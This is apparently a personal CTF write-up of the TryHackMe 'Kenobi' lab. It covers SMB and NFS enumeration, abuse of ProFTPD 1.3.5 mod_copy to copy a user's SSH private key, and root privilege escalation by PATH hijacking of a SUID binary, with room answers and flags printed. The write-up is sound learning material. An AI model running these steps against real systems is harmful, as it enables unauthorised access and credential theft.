Kenobi writeup [thm]
Walkthrough on exploiting a Linux machine. Enumerate Samba for shares, manipulate a vulnerable version of proftpd and escalate your privileges with path variable manipulation.
Kenobi is the final challenge in the Getting Started section on the Offensive Pentesting Path. This post contains spoilers.
Deploy the vulnerable machine
Scan the machine with nmap, how many ports are open?
$: nmap -p- $target Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-17 23:09 CEST Nmap scan report for $target Host is up (0.046s latency). Not shown: 65524 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 2049/tcp open nfs 36291/tcp open unknown 36481/tcp open unknown 43591/tcp open unknown 56703/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 26.15 seconds
Answer 7
Enumerating Samba for shares
Samba is the standard Windows interoperability suite of programs for Linux and Unix. It allows end users to access and use files, printers and other commonly shared resources on a companies intranet or internet. Its often referred to as a network file system.
Samba is based on the common client/server protocol of Server Message Block (SMB). SMB is developed only for Windows, without Samba, other computer platforms would be isolated from Windows machines, even if they were part of the same network.
Using nmap we can enumerate a machine for SMB shares.
Nmap has the ability to run to automate a wide variety of networking tasks. There is a script to enumerate shares!
Using nmap, how many shares have been found?
$: nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse $target Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-17 23:11 CEST Nmap scan report for $target Host is up (0.048s latency). PORT STATE SERVICE 445/tcp open microsoft-ds Host script results: | smb-enum-shares: | account_used: guest | \\$target\IPC$: | Type: STYPE_IPC_HIDDEN | Comment: IPC Service (kenobi server (Samba, Ubuntu)) | Users: 1 | Max Users: <unlimited> | Path: C:\tmp | Anonymous access: READ/WRITE | Current user access: READ/WRITE | \\$target\anonymous: | Type: STYPE_DISKTREE | Comment: | Users: 0 | Max Users: <unlimited> | Path: C:\home\kenobi\share | Anonymous access: READ/WRITE | Current user access: READ/WRITE | \\$target\print$: | Type: STYPE_DISKTREE | Comment: Printer Drivers | Users: 0 | Max Users: <unlimited> | Path: C:\var\lib\samba\printers | Anonymous access: <none> |_ Current user access: <none> Nmap done: 1 IP address (1 host up) scanned in 8.21 seconds
Answer: 3
On most distributions of Linux smbclient is already installed. Lets inspect one of the shares. Using your machine, connect to the machines network share.
$: smbclient //$target/anonymous
You can recursively download the SMB share too. Submit the username and password as nothing.
$: smbget -R smb://$target/anonymous
Once you're connected, list the files on the share. What is the file can you see?
Answer: log.txt
Open the file on the share. There is a few interesting things found.
- Information generated for Kenobi when generating an SSH key for the user
- Information about the ProFTPD server.
What port is FTP running on?
From log.txt:
Generating public/private rsa key pair. Enter file in which to save the key (/home/kenobi/.ssh/id_rsa): Created directory '/home/kenobi/.ssh'. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/kenobi/.ssh/id_rsa. Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub. The key fingerprint is: SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi The key's randomart image is: +---[RSA 2048]----+ | | | .. | | . o. . | | ..=o +. | | . So.o++o. | | o ...+oo.Bo*o | | o o ..o.o+.@oo | | . . . E .O+= . | | . . oBo. | +----[SHA256]-----+ # This is a basic ProFTPD configuration file (rename it to # 'proftpd.conf' for actual use. It establishes a single server # and a single anonymous login. It assumes that you have a user/group # "nobody" and "ftp" for normal operation and anon. ServerName "ProFTPD Default Installation" ServerType standalone DefaultServer on # Port 21 is the standard FTP port. Port 21
Your earlier nmap port scan will have shown port 111 running the service rpcbind. This is just a server that converts remote procedure call (RPC) program number into universal addresses. When an RPC service is started, it tells rpcbind the address at which it is listening and the RPC program number its prepared to serve.
In our case, port 111 is access to a network file system. Lets use nmap to enumerate this.
What mount can we see?
$: nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount $target Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-17 23:15 CEST Nmap scan report for $target Host is up (0.048s latency). PORT STATE SERVICE 111/tcp open rpcbind | nfs-showmount: |_ /var * Nmap done: 1 IP address (1 host up) scanned in 0.79 seconds
Answer: /var
Gain initial access with ProFtpd
Lets get the version of ProFtpd. Use netcat to connect to the machine on the FTP port.
What is the version?
$: nc $target 21 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [$target]
Answer: 1.3.5
We can use searchsploit to find exploits for a particular software version.
Searchsploit is basically just a command line search tool for exploit-db.com.
How many exploits are there for the ProFTPd running?
$: searchsploit ProFTPD 1.3.5 1 ⨯ ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit) | linux/remote/37262.rb ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution | linux/remote/36803.py ProFTPd 1.3.5 - File Copy | linux/remote/36742.txt ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results
Answer: 3
You should have found an exploit from ProFtpd's mod_copy module.
The mod_copy module implements SITE CPFR and SITE CPTO commands, which can be used to copy files/directories from one place to another on the server. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination.
We know that the FTP service is running as the Kenobi user (from the file on the share) and an ssh key is generated for that user.
We're now going to copy Kenobi's private key using SITE CPFR and SITE CPTO commands.
$: nc $target 21 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [$target] SITE CPFR /home/kenobi/.ssh/id_rsa 350 File or directory exists, ready for destination name SITE CPTO /var/tmp/id_rsa 250 Copy successful
We knew that the /var directory was a mount we could see (task 2, question 4). So we've now moved Kenobi's private key to the /var/tmp directory.
$: sudo mkdir /mnt/kenobiNFS $: sudo mount $target:/var /mnt/kenobiNFS $: ls -la /mnt/kenobiNFS total 56 drwxr-xr-x 14 root root 4096 Sep 4 2019 . drwxr-xr-x 3 root root 4096 May 17 23:25 .. drwxr-xr-x 2 root root 4096 Sep 4 2019 backups drwxr-xr-x 9 root root 4096 Sep 4 2019 cache drwxrwxrwt 2 root root 4096 Sep 4 2019 crash drwxr-xr-x 40 root root 4096 Sep 4 2019 lib drwxrwsr-x 2 root staff 4096 Apr 12 2016 local lrwxrwxrwx 1 root root 9 Sep 4 2019 lock -> /run/lock drwxrwxr-x 10 root crontab 4096 Sep 4 2019 log drwxrwsr-x 2 root mail 4096 Feb 27 2019 mail drwxr-xr-x 2 root root 4096 Feb 27 2019 opt lrwxrwxrwx 1 root root 4 Sep 4 2019 run -> /run drwxr-xr-x 2 root root 4096 Jan 30 2019 snap drwxr-xr-x 5 root root 4096 Sep 4 2019 spool drwxrwxrwt 6 root root 4096 May 17 23:24 tmp drwxr-xr-x 3 root root 4096 Sep 4 2019 www
We now have a network mount on our deployed machine! We can go to /var/tmp and get the private key then login to Kenobi's account.
$: cp /mnt/kenobiNFS/tmp/id_rsa . $: chmod 600 id_rsa $: ssh -i id_rsa kenobi@$target The authenticity of host '$target ($target)' can't be established. ECDSA key fingerprint is SHA256:uUzATQRA9mwUNjGY6h0B/wjpaZXJasCPBY30BvtMsPI. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '$target' (ECDSA) to the list of known hosts. Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 103 packages can be updated. 65 updates are security updates. Last login: Wed Sep 4 07:10:15 2019 from 192.168.1.147 To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details. kenobi@kenobi:~$
What is Kenobi's user flag (/home/kenobi/user.txt)?
kenobi@kenobi:~$ cat user.txt d0b0f3f53b6caa532a83915e19224899
Privilege Escalation with Path Variable Manipulation
SUID bits can be dangerous, some binaries such as passwd need to be run with elevated privileges (as its resetting your password on the system), however other custom files could that have the SUID bit can lead to all sorts of issues.
To search the a system for these type of files run the following:
kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null /sbin/mount.nfs /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/snapd/snap-confine /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/bin/chfn /usr/bin/newgidmap /usr/bin/pkexec /usr/bin/passwd /usr/bin/newuidmap /usr/bin/gpasswd /usr/bin/menu /usr/bin/sudo /usr/bin/chsh /usr/bin/at /usr/bin/newgrp /bin/umount /bin/fusermount /bin/mount /bin/ping /bin/su /bin/ping6
What file looks particularly out of the ordinary?
Answer: /usr/bin/menu
Run the binary, how many options appear?
kenobi@kenobi:~$ /usr/bin/menu *************************************** 1. status check 2. kernel version 3. ifconfig ** Enter your choice :1 HTTP/1.1 200 OK Date: Mon, 17 May 2021 21:30:49 GMT Server: Apache/2.4.18 (Ubuntu) Last-Modified: Wed, 04 Sep 2019 09:07:20 GMT ETag: "c8-591b6884b6ed2" Accept-Ranges: bytes Content-Length: 200 Vary: Accept-Encoding Content-Type: text/html
Strings is a command on Linux that looks for human readable strings on a binary.
kenobi@kenobi:~$ strings /usr/bin/menu /lib64/ld-linux-x86-64.so.2 libc.so.6 setuid __isoc99_scanf puts __stack_chk_fail printf system __libc_start_main __gmon_start__ GLIBC_2.7 GLIBC_2.4 GLIBC_2.2.5 UH-` AWAVA AUATL []A\A]A^A_ *************************************** 1. status check 2. kernel version 3. ifconfig ** Enter your choice : curl -I localhost uname -r ifconfig Invalid choice ;*3$" GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609 crtstuff.c __JCR_LIST__ deregister_tm_clones __do_global_dtors_aux completed.7594 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry menu.c __FRAME_END__ __JCR_END__ __init_array_end _DYNAMIC __init_array_start __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_csu_fini _ITM_deregisterTMCloneTable puts@@GLIBC_2.2.5 _edata __stack_chk_fail@@GLIBC_2.4 system@@GLIBC_2.2.5 printf@@GLIBC_2.2.5 __libc_start_main@@GLIBC_2.2.5 __data_start __gmon_start__ __dso_handle _IO_stdin_used __libc_csu_init __bss_start main _Jv_RegisterClasses __isoc99_scanf@@GLIBC_2.7 __TMC_END__ _ITM_registerTMCloneTable setuid@@GLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .jcr .dynamic .got.plt .data .bss .comment
This shows us the binary is running without a full path (e.g. not using /usr/bin/curl or /usr/bin/uname).
As this file runs as the root users privileges, we can manipulate our path gain a root shell.
kenobi@kenobi:~$ cd /tmp kenobi@kenobi:/tmp$ echo /bin/sh > curl kenobi@kenobi:/tmp$ chmod 777 curl kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH kenobi@kenobi:/tmp$ /usr/bin/menu *************************************** 1. status check 2. kernel version 3. ifconfig ** Enter your choice :1 # whoami root
We copied the /bin/sh shell, called it curl, gave it the correct permissions and then put its location in our path. This meant that when the /usr/bin/menu binary was run, its using our path variable to find the "curl" binary.. Which is actually a version of /usr/sh, as well as this file being run as root it runs our shell as root!
What is the root flag (/root/root.txt)?
# cat /root/root.txt 177b3cd8562289f37382721c28381f02
Conclusion
It was benefital for me to get to work more with Samba, I'm getting more comfortable. Likewise for NFS.
The ProFTPD exploit was cool but I find it increasingly worrisome that most THM challenges are about using tools rather than gaining a deeper understanding of vulnerabilities. I could easily finish this room without even looking up how the ProFTPD 1.3.5 Mod_Copy Command Execution exploit works under the hood. Hopefully this will change as the challenges gets harder. In the meantime I have to keep reminding myself to at least read up on the exploits I use to get a shallow overview on how they work. At this point, the INFOSEC industry feels a lot like a glorified script kiddie haven to me. I'm absolutely not implying that INFOSEC people are n00bs but it feels a lot like you mostly look for known vulnerabilities and then apply ready made scripts to exploit them but I'm an outsider so what do I know? If this is your dayjob, why wouldn't you automate it?
I liked the privesc using path variable manipulation btw. It was more "down to earth" and easy to grasp.
Like Blue, Kenobi is more of walkthrough than a proper CTF but fun and informative all the same.
I'm trying to be more consistent with my markdown usage. Hopefully, my writeups will look a little neater from now on.
Tools used:
- Nmap
- Smbclient
- Netcat
- Searchsploit/exploit-db.com
- Strings
Offensive Pentesting
Getting Started section of the Offensive Pentesting path done! Now on the the next section Advanced Exploitation in which we will learn
- Vulnerability Scanning
- Handling Public Exploits
- Password Cracking
- Metasploit Framework
- Port Redirection